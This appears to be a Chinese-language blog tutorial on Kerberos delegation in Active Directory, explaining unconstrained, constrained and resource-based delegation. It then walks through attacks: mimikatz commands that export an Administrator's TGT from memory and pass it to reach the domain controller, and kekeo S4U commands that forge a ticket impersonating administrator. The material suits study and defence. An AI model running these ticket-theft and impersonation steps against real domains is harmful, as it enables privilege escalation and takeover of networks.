域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。

委派基本配置

服务账号和主机账号都可以开启委派功能。

  • 主机账号,与域主机绑定的账户,

  • 服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MS SQL Server在安装时,会在域内自动注册服务账号SqlServiceAccount,这类账号不能用于交互式登录。

下图为主机账户委派配置


下图为服务账号的委派配置


可以看到主机账户和服务账户在委派功能上没什么区别,都存在三个选项

  • 信任此用户作为委派 => 不开启委派功能
  • 信任此用户作为任何服务的委派 => 非受限委派
  • 仅信任此用户作为指定服务的委派 => 受限委派
    • 适用任何身份验证协议 => s4u2self + s4u2proxy协议参与
    • 仅适用Kerberos => s4u2proxy协议参与

非约束委派

非约束委派在Kerberos中实现时,User会将从KDC处得到的TGT发送给访问的service1(可以是任意服务),service1拿到TGT之后可以通过TGT访问域内任意其他服务,所以被称为非约束委派。

认证流程:

  1. 用户 通过发送KRB_AS_REQ消息(身份验证服务(AS)交换中的请求消息)来向密钥分发中心(KDC)进行身份验证,并请求可转发的 TGT。

  2. KDC在KRB_AS_REP消息(身份验证服务(AS)交换中的响应消息)中返回可转发TGT。

  3. 用户根据来自步骤2的可转发TGT请求转发的TGT。这是通过KRB_TGS_REQ消息完成的。

  4. KDC在KRB_TGS_REP消息中为用户返回转发的TGT。

  5. 用户使用步骤2中返回的TGT向Service1 请求服务票证。这是通过KRB_TGS_REQ消息完成的。

  6. 该票证授予服务(TGS)返回一个KRB_TGS_REP服务票证。

  7. 用户通过发送KRB_AP_REQ消息,显示服务票证,转发的TGT和转发的TGT的会话密钥,向Service1发出请求。注意:KRB_AP_REQ消息是身份验证协议(AP)交换中的请求消息。

  8. 为了满足用户的请求,Service1需要Service2代表用户执行某些操作。Service1使用用户的转发的TGT并将其在KRB_TGS_REQ中发送到KDC,以用户的名义请求Service2 的票证。

  9. KDC在KRB_TGS_REP消息中将Service2的票证返回给Service1,以及Service1可以使用的会话密钥。该票证将客户端标识为用户,而不是 Service1。

  10. Service1由充当用户的KRB_AP_REQ向Service2发出请求。

  11. Service2响应。

  12. 通过该响应,Service1现在可以在步骤7中响应用户的请求。

  13. 如此处所述,TGT转发委派机制不限制Service1对转发的TGT的使用。Service1可以用用户名向KDC索要其他服务的票证 。

  14. KDC将退还所请求的票证。

  15. 然后,Service1可以继续用ServiceN来模拟用户。例如,如果Service1被破坏,则可能构成风险。Service1可以继续伪装成其他服务的合法用户。

  16. ServiceN将响应Service1,就像它是用户的进程一样。

非约束委派的配置:

约束委派

微软很早就意识到非约束委派并不是特别安全,在 Windows 2003上发布了”约束”委派。 其中包括一组 Kerberos 协议扩展,就是本文之前提到的两个扩展 S4U2Self 和 S4U2Proxy。配置它后,约束委派将限制指定服务器可以代表用户执行的服务。这需要域管理员特权(其实严谨一点是SeEnableDelegation特权,该特权很敏感,通常仅授予域管理员)才能为服务配置域帐户,并且将帐户限制为单个域。

认证流程:

  1. 用户的机器向Service1发出请求。用户已通过身份验证,但Service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式执行的。

  2. 已经通过KDC进行身份验证并获得其TGT的Service1通过S4U2self扩展名代表指定的用户向其请求服务票证。通过 S4U2self数据中的用户名和用户领域名称来标识用户(如第2.2.1节中所述)。或者,如果服务1拥有用户的证书,则可以使用证书通过PA-S4U-X509-USER 结构向KDC识别用户。

  3. KDC会返回发给Service1的服务票证,就好像是用户通过用户自己的TGT请求该票证一样。服务票证可能包含用户的授权数据。

  4. Service1可以使用服务票证中的授权数据来满足用户的请求。然后该服务响应用户。

  5. 尽管S4U2self向Service1提供有关用户的信息,但此扩展不允许服务1代表用户发出其他服务的请求。那就是S4U2proxy的作用。S4U2proxy在上图的下半部分描述。

  6. 用户的机器向Service1发出请求。Service1需要以用户身份访问Service2上的资源。但是,Service1没有来自用户的转发的TGT来通过转发的TGT执行委派,如指定使用转发的TGT进行Kerberos委派的图中所述。此步骤有两个先决条件。首先,Service1已通过KDC进行身份验证,并具有有效的TGT。其次,服务1具有从用户到Service1的可转发服务票证。此可转发服务票证可能已由KRB_AP_REQ消息获得,如[RFC4120] 3.2节中所指定,或由S4U2self请求获得。

  7. Service1代表指定的用户向Service2请求服务票证。通过Service1的服务票证中的客户名称和客户领域来标识用户。还将从服务票证中复制要返回的票证中的授权数据。

  8. 如果请求中包含特权属性证书(PAC),则KDC会按照[MS-PAC] 第2.8节中的规定,通过检查PAC结构的签名数据来验证PAC 。如果PAC有效或不存在,则KDC返回Service2的服务票证,但是存储在 服务票证的cname和crealm字段中的客户端身份是用户的身份,而不是Service1的身份。

  9. Service1使用服务票证向Service2发出请求。Service2将该请求视为来自用户,并假定用户已由KDC进行身份验证。

  10. Service2响应该请求。

  11. Service1响应用户对消息5的请求。

配置:

相较于非约束委派,约束委派最大的区别也就是配置的时候选择某个特定的服务,而不是所有服务。

基于资源的约束委派

基于资源的约束委派(Resource-Based Constrained Delegation)是一种允许资源自己去设置哪些账户委派给自己的约束委。

传统的约束委派是“正向的”,通过修改服务A属性”msDS-AllowedToDelegateTo”,添加服务B的SPN(Service Principle Name),设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B以获得服务票据(TGS)来使用服务B的资源。

而基于资源的约束委派则是相反的,通过修改服务B属性”msDS-AllowedToActOnBehalfOfOtherIdentity”,添加服务A的SPN,达到让服务A模拟用户访问B资源的目的。

非约束委派攻击利用

具体操作参考此文章 域渗透-Delegation

在域中只有服务账户才能有委派功能,所以先把用户sqladmin设置为服务账号

1
setspn -U -A variant/golden sqladmin


查看配置

1
setspn -l sqladmin


将sqladmin设置为非约束委派模式

在域控上使用Administrator访问sqladmin所在主机Srv-Web-Kit的SMB服务。

1
dir \\Srv-Web-Kit.rootkit.org\c$


在Srv-Web-Kit上通过mimikatz可以导出Administrator发送过来的TGT内容。

这里需要使用管理员权限打开mimikatz,然后通过privilege::debug命令提升权限,如果没有提升权限会报kuhl_m_sekurlsa_acquireLSA错误。

再使用sekurlsa::tickets/export命令导出内存中所有的票据。


访问域控失败

将TGT内容导入到当前会话中

1
kerberos::ptt [0;72744]-2-1-40e10000-Administrator@krbtgt-ROOTKIT.ORG.kirbi


导入之后已经可以访问域控的共享目录。也就是说每当存在用户访问tsvc的服务时,tsvc的服务就会将访问者的TGT保存在内存中,可以通过这个TGT访问这个TGT所属用户的所有服务。


需注意要在同一命令符下访问域控,如另起命令符则访问不成功

约束委派攻击利用

假设已知配置了约束委派的账号,并且已知当前配置了约束委派的当前账户的密码。
设置约束委派


kekeo工具下载
通过已知的账户名和明文密码对KDC发起请求,得到TGT

1
tgt::ask /user:sqladmin /domain:rootkit.org /password:密码 /ticket:sqladmin.kirbi

参数说明:

1
2
3
4
/user:当前用户名
/domain:所在域名
/password:当前用户名的密码
/ticket:生成票据名称。


使用kekeo申请TGS票据

1
tgs::s4u /tgt:TGT_sqladmin@ROOTKIT.ORG_krbtgt~rootkit.org@ROOTKIT.ORG.kirbi    /user:administrator@rootkit.org /service:cifs/owa2013.rootkit.org

参数说明:

1
2
3
/tgt:上一步通过kekeo生成的tgt票据
/user:想要伪造的用户名写全称(用户名@域名)
/service:想要伪造访问的服务名(服务名/主机的FQDN名称)


使用mimikatz将生成的TGS文件导入到Kerberos凭据列表中

基于资源的约束委派攻击利用

可看此文章利用资源约束委派进行的提权攻击分析

参考文章:
域渗透-Delegation.md
Attack Kerberos Delegation

攻击活动目录:无约束委派及域林信任
利用资源约束委派进行的提权攻击分析